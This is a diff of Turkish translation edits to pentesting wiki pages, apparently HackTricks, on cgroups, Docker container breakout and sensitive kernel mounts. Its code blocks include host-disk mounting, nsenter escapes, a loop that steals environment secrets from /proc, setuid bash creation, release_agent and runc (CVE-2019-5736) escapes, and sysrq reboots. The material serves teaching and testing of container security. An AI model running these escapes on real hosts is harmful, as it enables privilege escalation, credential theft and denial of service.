tahsis edilmesi, sınırlandırılması ve önceliklendirilmesi için Linux çekirdeğinin bir özelliğidir. **Süreç koleksiyonlarının kaynak kullanımını yönetme ve izole etme** mekanizması sunarak, kaynak sınırlaması, iş yükü izolasyonu ve farklı süreç grupları arasında kaynak önceliklendirmesi gibi amaçlar için faydalıdır. +**Linux Kontrol Grupları**, veya **cgroups**, sistem kaynaklarının (CPU, bellek ve disk I/O gibi) işlem grupları arasında tahsis edilmesi, sınırlandırılması ve önceliklendirilmesi için Linux çekirdeğinin bir özelliğidir. İşlem koleksiyonlarının **kaynak kullanımını yönetme ve izole etme** mekanizması sunarlar; bu, kaynak sınırlaması, iş yükü izolasyonu ve farklı işlem grupları arasında kaynak önceliklendirmesi gibi amaçlar için faydalıdır. -**Cgroups'ın iki versiyonu** vardır: versiyon 1 ve versiyon 2. Her ikisi de bir sistemde eşzamanlı olarak kullanılabilir. Ana ayrım, **cgroups versiyon 2**'nin **hiyerarşik, ağaç benzeri bir yapı** sunarak süreç grupları arasında daha ince ve detaylı kaynak dağılımını mümkün kılmasıdır. Ayrıca, versiyon 2 çeşitli iyileştirmeler de getirir, bunlar arasında: +**Cgroups'ın iki versiyonu** vardır: versiyon 1 ve versiyon 2. Her ikisi de bir sistemde eşzamanlı olarak kullanılabilir. Ana ayrım, **cgroups versiyon 2**'nin **hiyerarşik, ağaç benzeri bir yapı** sunarak işlem grupları arasında daha ince ve detaylı kaynak dağılımına olanak tanımasıdır. Ayrıca, versiyon 2 çeşitli iyileştirmeler de getirir, bunlar arasında: Yeni hiyerarşik organizasyona ek olarak, cgroups versiyon 2 ayrıca **birçok başka değişiklik ve iyileştirme** de tanıtmıştır; bunlar arasında **yeni kaynak denetleyicileri** için destek, eski uygulamalar için daha iyi destek ve geliştirilmiş performans bulunmaktadır. -Genel olarak, cgroups **versiyon 2, versiyon 1'den daha fazla özellik ve daha iyi performans** sunar, ancak eski sistemlerle uyumluluğun önemli olduğu belirli senaryolarda hala kullanılabilir. - -Herhangi bir sürecin v1 ve v2 cgroups'ını, /proc/\ içindeki cgroup dosyasına bakarak listeleyebilirsiniz. Bu komutla shell'inizin cgroups'ına bakarak başlayabilirsiniz: +Genel olarak, cgroups **versiyon 2, versiyon 1'den daha fazla özellik ve daha iyi performans** sunar, ancak eski sistemlerle ```shell-session $ cat /proc/self/cgroup 12:rdma:/ @@ -29,11 +27,11 @@ $ cat /proc/self/cgroup ``` Çıktı yapısı şu şekildedir: -- **Sayılar 2–12**: cgroups v1, her bir satır farklı bir cgroup'u temsil eder. Bunlar için kontrolörler sayının yanında belirtilmiştir. -- **Sayı 1**: Ayrıca cgroups v1, ancak yalnızca yönetim amaçları için (örneğin, systemd tarafından ayarlanmış) ve bir kontrolör içermez. -- **Sayı 0**: cgroups v2'yi temsil eder. Hiçbir kontrolör listelenmez ve bu satır yalnızca cgroups v2 çalışan sistemlerde özeldir. +- **Sayılar 2–12**: cgroups v1, her bir satır farklı bir cgroup'u temsil eder. Bunların denetleyicileri sayının yanında belirtilmiştir. +- **Sayı 1**: Ayrıca cgroups v1, ancak yalnızca yönetim amaçları için (örneğin, systemd tarafından ayarlanmış) ve bir denetleyiciye sahip değildir. +- **Sayı 0**: cgroups v2'yi temsil eder. Denetleyiciler listelenmemiştir ve bu satır yalnızca cgroups v2 çalışan sistemlerde özeldir. - **İsimler hiyerarşiktir**, dosya yollarına benzer, farklı cgroup'lar arasındaki yapı ve ilişkiyi gösterir. -- **/user.slice veya /system.slice** gibi isimler cgroup'ların kategorisini belirtir; user.slice genellikle systemd tarafından yönetilen oturumlar için ve system.slice sistem hizmetleri içindir. +- **/user.slice veya /system.slice** gibi isimler, cgroup'ların kategorisini belirtir; user.slice genellikle systemd tarafından yönetilen oturumlar için ve system.slice sistem hizmetleri içindir. ### Cgroup'ları Görüntüleme @@ -41,15 +39,15 @@ Dosya sistemi genellikle **cgroup'lara** erişim için kullanılır, bu da gelen ![Cgroup Dosya Sistemi](<../../../images/image (1128).png>) -Cgroup'lar için ana arayüz dosyaları **cgroup** ile başlar. **cgroup.procs** dosyası, cgroup içindeki süreçleri listeleyen standart komutlarla görüntülenebilir. Diğer bir dosya, **cgroup.threads**, thread bilgilerini içerir. +Cgroup'lar için ana arayüz dosyaları **cgroup** ile başlar. **cgroup.procs** dosyası, cgroup içindeki süreçleri listeleyen ve cat gibi standart komutlarla görüntülenebilen bir dosyadır. Diğer bir dosya, **cgroup.threads**, thread bilgilerini içerir. ![Cgroup Procs](<../../../images/image (281).png>) -Shell'leri yöneten cgroup'lar genellikle bellek kullanımını ve süreç sayısını düzenleyen iki kontrolör içerir. Bir kontrolörle etkileşimde bulunmak için, kontrolörün ön eki ile başlayan dosyalar incelenmelidir. Örneğin, cgroup içindeki thread sayısını belirlemek için **pids.current** dosyasına başvurulmalıdır. +Shell'leri yöneten cgroup'lar genellikle bellek kullanımını ve süreç sayısını düzenleyen iki denetleyici içerir. Bir denetleyici ile etkileşimde bulunmak için, denetleyicinin ön eki ile başlayan dosyalar incelenmelidir. Örneğin, **pids.current** cgroup'taki thread sayısını belirlemek için referans alınır. ![Cgroup Bellek](<../../../images/image (677).png>) -Bir değerde **max** ifadesinin bulunması, cgroup için belirli bir sınırın olmadığını gösterir. Ancak, cgroup'ların hiyerarşik doğası nedeniyle, daha alt seviyedeki bir cgroup tarafından sınırlar uygulanabilir. +Bir değerde **max** ifadesinin bulunması, cgroup için belirli bir sınırın olmadığını gösterir. Ancak, cgroup'ların hiyerarşik doğası nedeniyle, sınırlamalar dizin hiyerarşisinde daha alt seviyedeki bir cgroup tarafından uygulanabilir. ### Cgroup'ları Manipüle Etme ve Oluşturma @@ -69,7 +67,7 @@ echo 3000 > pids.max ```bash echo "+cpu +pids" > cgroup.subtree_control ``` -**root cgroup**, bu kurallara bir istisnadır ve doğrudan işlem yerleştirmeye izin verir. Bu, sistemd yönetiminden işlemleri kaldırmak için kullanılabilir. +**root cgroup**, bu kuralların bir istisnasıdır ve doğrudan işlem yerleştirmeye izin verir. Bu, sistemd yönetiminden işlemleri kaldırmak için kullanılabilir. **Bir cgroup içindeki CPU kullanımını** izlemek, toplam tüketilen CPU zamanını gösteren `cpu.stat` dosyası aracılığıyla mümkündür; bu, bir hizmetin alt süreçleri arasındaki kullanımı takip etmek için faydalıdır: diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index 70ca696fe..590af5f22 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -39,7 +39,7 @@ docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --se Docker daemon ayrıca [bir portta dinliyor olabilir (varsayılan olarak 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) veya Systemd tabanlı sistemlerde, Docker daemon ile iletişim Systemd soketi `fd://` üzerinden gerçekleşebilir. > [!NOTE] -> Ayrıca, diğer yüksek seviyeli çalışma zamanlarının çalışma zamanı soketlerine dikkat edin: +> Ayrıca, diğer yüksek seviyeli çalışma zamanlarının çalışma soketlerine dikkat edin: > > - dockershim: `unix:///var/run/dockershim.sock` > - containerd: `unix:///run/containerd/containerd.sock` @@ -64,7 +64,7 @@ Aşağıdaki sayfada **linux yetenekleri hakkında daha fazla bilgi edinebilir** ## Yetkili Konteynerlerden Kaçış -Yetkili bir konteyner `--privileged` bayrağı ile veya belirli savunmaları devre dışı bırakarak oluşturulabilir: +Yetkili bir konteyner, `--privileged` bayrağı ile veya belirli savunmaları devre dışı bırakarak oluşturulabilir: - `--cap-add=ALL` - `--security-opt apparmor=unconfined` @@ -76,7 +76,7 @@ Yetkili bir konteyner `--privileged` bayrağı ile veya belirli savunmaları dev - `--cgroupns=host` - `Mount /dev` -`--privileged` bayrağı, konteyner güvenliğini önemli ölçüde azaltarak **kısıtlamasız cihaz erişimi** sağlar ve **birçok korumayı** atlatır. Detaylı bir inceleme için `--privileged`'in tam etkileri ile ilgili belgeleri inceleyin. +`--privileged` bayrağı, konteyner güvenliğini önemli ölçüde azaltır, **kısıtlamasız cihaz erişimi** sunar ve **birçok korumayı** atlatır. Detaylı bir inceleme için `--privileged`'in tam etkileri ile ilgili belgeleri inceleyin. {{#ref}} ../docker-privileged.md @@ -84,7 +84,7 @@ Yetkili bir konteyner `--privileged` bayrağı ile veya belirli savunmaları dev ### Yetkili + hostPID -Bu izinlerle, sadece **host'ta root olarak çalışan bir sürecin ad alanına geçebilirsiniz**; örneğin init (pid:1) sadece şunu çalıştırarak: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` +Bu izinlerle, sadece **root olarak ana makinede çalışan bir sürecin ad alanına geçebilirsiniz**; örneğin init (pid:1) sadece şunu çalıştırarak: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` Bunu bir konteynerde test edin: ```bash @@ -98,9 +98,9 @@ Aşağıdaki atlatmaları bir konteynerde çalıştırarak test edin: ```bash docker run --rm -it --privileged ubuntu bash ``` -#### Diski Montajlama - Poc1 +#### Disk Bağlama - Poc1 -İyi yapılandırılmış docker konteynerleri **fdisk -l** gibi komutlara izin vermez. Ancak, `--privileged` veya `--device=/dev/sda1` bayrağı büyük harfle belirtilmiş yanlış yapılandırılmış docker komutlarında, ana makine sürücüsünü görme ayrıcalıklarını elde etmek mümkündür. +İyi yapılandırılmış docker konteynerleri **fdisk -l** gibi komutlara izin vermez. Ancak, `--privileged` veya büyük harfle belirtilmiş `--device=/dev/sda1` bayrağı ile yanlış yapılandırılmış bir docker komutunda, ana makine sürücüsünü görme ayrıcalıklarını elde etmek mümkündür. ![](https://bestestredteam.com/content/images/2019/08/image-16.png) @@ -109,7 +109,7 @@ Bu nedenle, ana makineyi ele geçirmek oldukça basittir: mkdir -p /mnt/hola mount /dev/sda1 /mnt/hola ``` -Ve işte! Artık ana bilgisayarın dosya sistemine erişebilirsiniz çünkü bu, `/mnt/hola` klasörüne monte edilmiştir. +Ve işte! Artık ana makinenin dosya sistemine erişebilirsiniz çünkü `/mnt/hola` klasörüne monte edilmiştir. #### Disk Montajı - Poc2 @@ -310,7 +310,7 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ``` #### Ayrıcalıklı Kaçış Hassas Montajların İstismarı -Montaj yapılabilecek birkaç dosya vardır ki bunlar **altındaki ana makine hakkında bilgi verir**. Bunlardan bazıları, **bir şey olduğunda ana makine tarafından yürütülecek bir şeyi gösterebilir** (bu, bir saldırganın konteynerden kaçmasına izin verecektir).\ +Montaj yapılmış birkaç dosya vardır ki bunlar **altındaki ana makine hakkında bilgi verir**. Bunlardan bazıları, **bir şey olduğunda ana makine tarafından yürütülecek bir şeyi gösterebilir** (bu, bir saldırganın konteynerden kaçmasına izin verecektir).\ Bu dosyaların istismarı şunları mümkün kılabilir: - release_agent (daha önce ele alındı) @@ -342,12 +342,12 @@ chown root:root bash #From container as root inside mounted folder chmod 4777 bash #From container as root inside mounted folder bash -p #From non priv inside mounted folder ``` -### İki shell ile Yetki Yükseltme +### İki Shell ile Yetki Yükseltme -Eğer bir **konteyner içinde root olarak erişiminiz** varsa ve **host'a yetkisiz bir kullanıcı olarak kaçtıysanız**, her iki shell'i de **host içinde privesc için kullanabilirsiniz** eğer konteyner içinde MKNOD yeteneğine sahipseniz (varsayılan olarak vardır) [**bu yazıda açıklandığı gibi**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ -Bu yetenekle konteyner içindeki root kullanıcısı **blok cihaz dosyaları oluşturma** iznine sahiptir. Cihaz dosyaları, **temel donanım ve çekirdek modüllerine erişmek için** kullanılan özel dosyalardır. Örneğin, /dev/sda blok cihaz dosyası, **sistem diskindeki ham verilere erişim sağlar**. +Eğer bir **konteyner içinde root olarak erişiminiz** varsa ve **host'a yetkisiz bir kullanıcı olarak kaçtıysanız**, her iki shell'i de **host içinde privesc için kullanabilirsiniz** eğer konteyner içinde MKNOD yeteneğine sahipseniz (bu varsayılan olarak vardır) [**bu yazıda açıklandığı gibi**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ +Bu yetenekle konteyner içindeki root kullanıcısı **blok cihaz dosyaları oluşturma** iznine sahiptir. Cihaz dosyaları, **altındaki donanım ve çekirdek modüllerine erişmek için** kullanılan özel dosyalardır. Örneğin, /dev/sda blok cihaz dosyası, **sistem diskindeki ham verilere erişim sağlar**. -Docker, konteynerler içinde blok cihaz kötüye kullanımına karşı, **blok cihaz okuma/yazma işlemlerini engelleyen** bir cgroup politikası uygulayarak koruma sağlar. Ancak, eğer bir blok cihaz **konteyner içinde oluşturulursa**, bu cihaz konteyner dışından **/proc/PID/root/** dizini aracılığıyla erişilebilir hale gelir. Bu erişim, **işlem sahibinin hem konteyner içinde hem de dışında aynı olması** gerektirir. +Docker, konteynerler içinde blok cihaz kötüye kullanımına karşı, **blok cihazı okuma/yazma işlemlerini engelleyen** bir cgroup politikası uygulayarak koruma sağlar. Ancak, eğer bir blok cihaz **konteyner içinde oluşturulursa**, bu cihaz konteyner dışından **/proc/PID/root/** dizini aracılığıyla erişilebilir hale gelir. Bu erişim, **işlem sahibinin hem konteyner içinde hem de dışında aynı olması** gerektirir. **Sömürü** örneği bu [**yazıdan**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): ```bash @@ -393,7 +393,7 @@ docker run --rm -it --pid=host ubuntu bash ``` Örneğin, `ps auxn` gibi bir şey kullanarak süreçleri listeleyebilir ve komutlarda hassas ayrıntıları arayabilirsiniz. -Sonra, **/proc/ içindeki her bir host sürecine erişebildiğiniz için, sadece env gizli anahtarlarını çalabilirsiniz**: +Daha sonra, **/proc/ içinde ana bilgisayarın her bir sürecine erişebildiğiniz için, sadece env gizli anahtarlarını çalabilirsiniz**: ```bash for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done /proc/988058/environ @@ -415,7 +415,7 @@ cat /proc/635813/fd/4 Ayrıca **işlemleri sonlandırabilir ve bir DoS oluşturabilirsiniz**. > [!WARNING] -> Eğer bir şekilde **kapsayıcı dışındaki bir işleme ayrıcalıklı erişiminiz varsa**, `nsenter --target --all` veya `nsenter --target --mount --net --pid --cgroup` gibi bir şey çalıştırarak **o işlemin aynı ns kısıtlamalarıyla** (umarım hiç yok) **bir shell çalıştırabilirsiniz.** +> Eğer bir şekilde **konteyner dışındaki bir işleme ayrıcalıklı erişiminiz varsa**, `nsenter --target --all` veya `nsenter --target --mount --net --pid --cgroup` gibi bir şey çalıştırarak **o işlemin aynı ns kısıtlamalarıyla** (umarım hiç yok) **bir shell çalıştırabilirsiniz.** ### hostNetwork ``` @@ -430,13 +430,13 @@ Aşağıdaki örneklerde olduğu gibi: - [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) - [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/) -Ayrıca, ana bilgisayar içindeki **localhost'a bağlı ağ hizmetlerine** erişebilecek veya **düğümün metadata izinlerine** (bir konteynerin erişebileceğinden farklı olabilir) erişebileceksiniz. +Ayrıca, ana bilgisayar içinde **localhost'a bağlı ağ hizmetlerine** erişebilecek veya hatta **düğümün metadata izinlerine** erişebileceksiniz (bu, bir konteynerin erişebileceğinden farklı olabilir). ### hostIPC ```bash docker run --rm -it --ipc=host ubuntu bash ``` -`hostIPC=true` ile, ana bilgisayarın süreçler arası iletişim (IPC) kaynaklarına, örneğin `/dev/shm` içindeki **paylaşılan bellek** erişimi kazanırsınız. Bu, aynı IPC kaynaklarının diğer ana bilgisayar veya pod süreçleri tarafından kullanıldığı yerlerde okuma/yazma yapmanıza olanak tanır. Bu IPC mekanizmalarını daha fazla incelemek için `ipcs` komutunu kullanın. +`hostIPC=true` ile, ana bilgisayarın süreçler arası iletişim (IPC) kaynaklarına, örneğin `/dev/shm` içindeki **paylaşılan bellek** kaynaklarına erişim kazanırsınız. Bu, aynı IPC kaynaklarının diğer ana bilgisayar veya pod süreçleri tarafından kullanıldığı yerlerde okuma/yazma yapmanıza olanak tanır. Bu IPC mekanizmalarını daha fazla incelemek için `ipcs` komutunu kullanın. - **/dev/shm'yi incele** - Bu paylaşılan bellek konumundaki dosyaları kontrol edin: `ls -la /dev/shm` - **Mevcut IPC tesislerini incele** – Herhangi bir IPC tesisinin kullanılıp kullanılmadığını kontrol etmek için `/usr/bin/ipcs` komutunu kullanabilirsiniz. Bunu kontrol edin: `ipcs -a` @@ -457,10 +457,10 @@ Gönderide açıklanan ikinci teknik [https://labs.withsecure.com/blog/abusing-t ### Runc istismarı (CVE-2019-5736) -Eğer `docker exec` komutunu root olarak çalıştırabiliyorsanız (muhtemelen sudo ile), CVE-2019-5736'dan yararlanarak bir konteynerden kaçış yaparak ayrıcalıkları yükseltmeye çalışırsınız (istismar [burada](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Bu teknik temelde **/bin/sh** ikili dosyasını **host**'tan **bir konteynerden** **üstüne yazacaktır**, bu nedenle docker exec komutunu çalıştıran herkes yükü tetikleyebilir. +Eğer `docker exec` komutunu root olarak çalıştırabiliyorsanız (muhtemelen sudo ile), CVE-2019-5736'dan yararlanarak bir konteynerden kaçış yaparak ayrıcalıkları yükseltmeye çalışırsınız (istismar [burada](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Bu teknik temelde **/bin/sh** ikili dosyasını **host**'tan **bir konteyner** aracılığıyla **üst üste yazacaktır**, bu nedenle docker exec komutunu çalıştıran herkes yükü tetikleyebilir. Yükü buna göre değiştirin ve `go build main.go` ile main.go dosyasını derleyin. Ortaya çıkan ikili dosya, yürütme için docker konteynerine yerleştirilmelidir.\ -Yürütme sırasında, `[+] Overwritten /bin/sh successfully` mesajını gösterdiği anda, host makinesinden aşağıdakini çalıştırmalısınız: +Yürütme sırasında, `[+] /bin/sh başarıyla üst üste yazıldı` mesajını gösterdiği anda, host makinesinden aşağıdakini çalıştırmalısınız: `docker exec -it /bin/sh` @@ -478,7 +478,7 @@ Daha fazla bilgi için: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-esca - **Ad Alanları:** Süreç, ad alanları aracılığıyla **diğer süreçlerden tamamen ayrılmış olmalıdır**, bu nedenle ad alanları nedeniyle diğer süreçlerle etkileşimde bulunarak kaçış yapamayız (varsayılan olarak IPC'ler, unix soketleri, ağ hizmetleri, D-Bus, diğer süreçlerin `/proc`'u aracılığıyla iletişim kuramaz). - **Root kullanıcı**: Varsayılan olarak süreci çalıştıran kullanıcı root kullanıcısıdır (ancak ayrıcalıkları sınırlıdır). - **Yetenekler**: Docker aşağıdaki yetenekleri bırakır: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` -- **Syscalls**: Bu, **root kullanıcısının çağıramayacağı** syscalls'dır (yeteneklerin eksikliği + Seccomp nedeniyle). Diğer syscalls kaçış yapmaya çalışmak için kullanılabilir. +- **Sistem çağrıları**: **Root kullanıcısının çağıramayacağı** sistem çağrılarıdır (yeteneklerin eksikliği + Seccomp nedeniyle). Diğer sistem çağrıları kaçış yapmaya çalışmak için kullanılabilir. {{#tabs}} {{#tab name="x64 syscalls"}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index d38d34ddf..c64c8f908 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -4,7 +4,7 @@ **Daha fazla ayrıntı için, lütfen** [**orijinal blog yazısına**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)** bakın.** Bu sadece bir özet: -Orijinal PoC: +Original PoC: ```shell d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md index 8ae5c992f..d1c47faa8 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md @@ -1,6 +1,6 @@ {{#include ../../../../banners/hacktricks-training.md}} -Daha fazla detay için **[https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)** adresindeki blog gönderisine göz atın. Bu sadece bir özet: +Daha fazla ayrıntı için **[https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)** adresindeki blog gönderisine göz atın. Bu sadece bir özet: Teknik, **bir konteyner içinden ana makine kodunu çalıştırma** yöntemini özetlemektedir ve Kata Containers veya belirli `devicemapper` ayarları gibi konteynerin dosya sistemi yolunu ana makinede gizleyen depolama sürücüsü yapılandırmalarının getirdiği zorlukları aşmaktadır. @@ -15,10 +15,10 @@ Ana adımlar: Sömürü süreci, konteyner içinde çalışan bir işlemin doğru PID'sini tahmin ederek ana makinede bir yük çalıştırmayı amaçlayan daha ayrıntılı bir eylem setini içerir. İşte nasıl gelişir: 1. **Ortamı Başlat:** Ana makinede bir yük betiği (`payload.sh`) hazırlanır ve cgroup manipülasyonu için benzersiz bir dizin oluşturulur. -2. **Yükü Hazırlama:** Ana makinede çalıştırılacak komutları içeren yük betiği yazılır ve çalıştırılabilir hale getirilir. -3. **Cgroup'u Ayarlama:** Cgroup monte edilir ve yapılandırılır. Yükün cgroup serbest bırakıldığında çalıştırılmasını sağlamak için `notify_on_release` bayrağı ayarlanır. -4. **PID'yi Kaba Kuvvetle Kırma:** Bir döngü, potansiyel PID'ler arasında döner ve her tahmin edilen PID'yi `release_agent` dosyasına yazar. Bu, yük betiğini `release_agent` olarak ayarlar. -5. **Çalıştırmayı Tetikleme ve Kontrol Etme:** Her PID için, cgroup'un `cgroup.procs` dosyasına yazılır, eğer PID doğruysa `release_agent`'in çalıştırılmasını tetikler. Yük betiğinin çıktısı bulunana kadar döngü devam eder, bu da başarılı bir çalıştırmayı gösterir. +2. **Yükü Hazırla:** Ana makinede çalıştırılacak komutları içeren yük betiği yazılır ve çalıştırılabilir hale getirilir. +3. **Cgroup'u Ayarla:** Cgroup monte edilir ve yapılandırılır. Yükün cgroup serbest bırakıldığında çalıştırılmasını sağlamak için `notify_on_release` bayrağı ayarlanır. +4. **PID'yi Kaba Kuvvetle Kır:** Bir döngü, potansiyel PID'ler arasında döner ve her tahmin edilen PID'yi `release_agent` dosyasına yazar. Bu, yük betiğini `release_agent` olarak ayarlar. +5. **Çalıştırmayı Tetikle ve Kontrol Et:** Her PID için, cgroup'un `cgroup.procs` dosyasına yazılır, eğer PID doğruysa `release_agent`'in çalıştırılmasını tetikler. Yük betiğinin çıktısı bulunana kadar döngü devam eder, bu da başarılı bir çalıştırmayı gösterir. Blog gönderisinden PoC: ```bash diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index e51f574a8..bedf72e22 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -`/proc` ve `/sys` dizinlerinin uygun ad alanı izolasyonu olmadan açılması, saldırı yüzeyinin genişlemesi ve bilgi sızıntısı gibi önemli güvenlik riskleri oluşturur. Bu dizinler, yanlış yapılandırıldığında veya yetkisiz bir kullanıcı tarafından erişildiğinde, konteyner kaçışına, ana makine değişikliğine veya daha fazla saldırıyı destekleyen bilgilere yol açabilecek hassas dosyalar içerir. Örneğin, `-v /proc:/host/proc` yanlış bir şekilde monte edildiğinde, yol tabanlı doğası nedeniyle AppArmor korumasını atlayabilir ve `/host/proc`'u korumasız bırakabilir. +`/proc` ve `/sys`'in uygun ad alanı izolasyonu olmadan açılması, saldırı yüzeyinin genişlemesi ve bilgi sızıntısı gibi önemli güvenlik riskleri oluşturur. Bu dizinler, yanlış yapılandırıldığında veya yetkisiz bir kullanıcı tarafından erişildiğinde, konteyner kaçışına, ana makine değişikliğine veya daha fazla saldırıyı destekleyen bilgilerin sağlanmasına yol açabilecek hassas dosyalar içerir. Örneğin, `-v /proc:/host/proc`'un yanlış bir şekilde montajı, yol tabanlı doğası nedeniyle AppArmor korumasını atlayabilir ve `/host/proc`'u korumasız bırakabilir. **Her potansiyel zafiyetin daha fazla detayını bulabilirsiniz** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.** @@ -10,12 +10,12 @@ ### `/proc/sys` -Bu dizin, genellikle `sysctl(2)` aracılığıyla çekirdek değişkenlerini değiştirme izni verir ve birkaç endişe verici alt dizin içerir: +Bu dizin, genellikle `sysctl(2)` aracılığıyla çekirdek değişkenlerini değiştirme erişimi sağlar ve birkaç endişe verici alt dizin içerir: #### **`/proc/sys/kernel/core_pattern`** - [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) içinde tanımlanmıştır. -- Çekirdek dosyası oluşturulduğunda çalıştırılacak bir program tanımlamaya izin verir; ilk 128 bayt argüman olarak kullanılır. Dosya bir boru `|` ile başlarsa, kod yürütmeye yol açabilir. +- Çekirdek dosyası oluşturulduğunda yürütülecek bir program tanımlamaya izin verir; ilk 128 bayt argüman olarak kullanılır. Dosya bir boru `|` ile başlarsa, kod yürütülmesine yol açabilir. - **Test ve Sömürü Örneği**: ```bash @@ -38,7 +38,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et #### **`/proc/sys/vm/panic_on_oom`** - [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) içinde referans verilmiştir. -- OOM durumu meydana geldiğinde çekirdeğin panik yapıp yapmayacağını kontrol eden bir global bayraktır. +- OOM durumu meydana geldiğinde çekirdeğin panik yapıp yapmayacağını kontrol eden bir küresel bayraktır. #### **`/proc/sys/fs`** @@ -78,7 +78,7 @@ echo b > /proc/sysrq-trigger # Ana makineyi yeniden başlatır - Çekirdek tarafından dışa aktarılan sembolleri ve adreslerini listeler. - Çekirdek sömürü geliştirme için önemlidir, özellikle KASLR'yi aşmak için. -- Adres bilgileri `kptr_restrict` 1 veya 2 olarak ayarlandığında kısıtlanır. +- Adres bilgileri `kptr_restrict` `1` veya `2` olarak ayarlandığında kısıtlanır. - Detaylar [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) içinde. #### **`/proc/[pid]/mem`** @@ -97,12 +97,12 @@ echo b > /proc/sysrq-trigger # Ana makineyi yeniden başlatır #### **`/proc/kmem`** - Çekirdek sanal belleğini temsil eden `/dev/kmem` için alternatif bir arayüzdür. -- Okuma ve yazma izni verir, dolayısıyla çekirdek belleğini doğrudan değiştirmeye olanak tanır. +- Okuma ve yazma işlemlerine izin verir, dolayısıyla çekirdek belleğini doğrudan değiştirebilir. #### **`/proc/mem`** - Fiziksel belleği temsil eden `/dev/mem` için alternatif bir arayüzdür. -- Okuma ve yazma izni verir, tüm belleği değiştirmek için sanal adreslerin fiziksel adreslere çözülmesi gerekir. +- Okuma ve yazma işlemlerine izin verir, tüm belleği değiştirmek sanal adresleri fiziksel adreslere çözmeyi gerektirir. #### **`/proc/sched_debug`** @@ -118,7 +118,7 @@ echo b > /proc/sysrq-trigger # Ana makineyi yeniden başlatır #### **`/sys/kernel/uevent_helper`** -- Çekirdek cihaz `uevents`'lerini işlemek için kullanılır. +- Çekirdek cihaz `uevent`'lerini işlemek için kullanılır. - `/sys/kernel/uevent_helper`'a yazmak, `uevent` tetikleyicileri üzerine rastgele betikler çalıştırabilir. - **Sömürü Örneği**: %%%bash @@ -157,7 +157,7 @@ cat /output %%% #### **`/sys/firmware/efi/vars` ve `/sys/firmware/efi/efivars`** -- NVRAM'deki EFI değişkenleri ile etkileşim kurmak için arayüzler açığa çıkarır. +- NVRAM'daki EFI değişkenleri ile etkileşim kurmak için arayüzler açığa çıkarır. - Yanlış yapılandırma veya sömürü, bozuk dizüstü bilgisayarlara veya başlatılamayan ana makinelerle sonuçlanabilir. #### **`/sys/kernel/debug`** @@ -168,7 +168,7 @@ cat /output %%% ### Referanslar - [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts) -- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf) -- [Abusing Privileged and Unprivileged Linux 